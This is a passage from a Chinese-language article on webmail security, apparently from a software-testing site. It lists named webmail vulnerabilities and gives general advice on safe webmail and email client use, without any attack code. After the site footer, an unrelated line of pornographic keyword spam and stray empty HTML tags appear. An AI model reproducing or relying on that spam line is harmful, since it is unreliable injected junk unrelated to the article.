    Webmail系統程序上的漏洞也值得關注,如IMHO Webmail遠程帳戶劫持漏洞、BasiliX Webmail遠程任意文件泄露漏洞、W3Mail Webmail執行任意命令漏洞等,甚至21cn.com都曾有過重要路徑泄漏漏洞。


    從上面我們可以看到,webmail的安全問題不容樂觀,如果要較好地解決它,一方面要增強webmail系統的安全性,另一方面則依賴于用戶對webmail的正確使用,這些在上面都有討論,在此就不贅述。如果用戶在正確使用webmail后仍然存在安全問題,那么剩下的,就是去選擇一個好的郵件服務商,或者通過郵件客戶端軟件來收發郵件,不過,使用outlook等郵件客戶端軟件又會引發其它的安全問題,例如愛蟲、求職信等病毒就是利用outlook的漏洞來擴散傳播和危害用戶的。,

    延伸閱讀

    文章來源于領測軟件測試網 http://www.kjueaiud.com/


    關于領測軟件測試網 | 領測軟件測試網合作伙伴 | 廣告服務 | 投稿指南 | 聯系我們 | 網站地圖 | 友情鏈接
    版權所有(C) 2003-2010 TestAge(領測軟件測試網)|領測國際科技(北京)有限公司|軟件測試工程師培訓網 All Rights Reserved
    北京市海淀區中關村南大街9號北京理工科技大廈1402室 京ICP備2023014753號-2
    技術支持和業務聯系:info@testage.com.cn 電話:010-51297073

    軟件測試 | 領測國際ISTQBISTQB官網TMMiTMMi認證國際軟件測試工程師認證領測軟件測試網

    老湿亚洲永久精品ww47香蕉图片_日韩欧美中文字幕北美法律_国产AV永久无码天堂影院_久久婷婷综合色丁香五月

  • <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>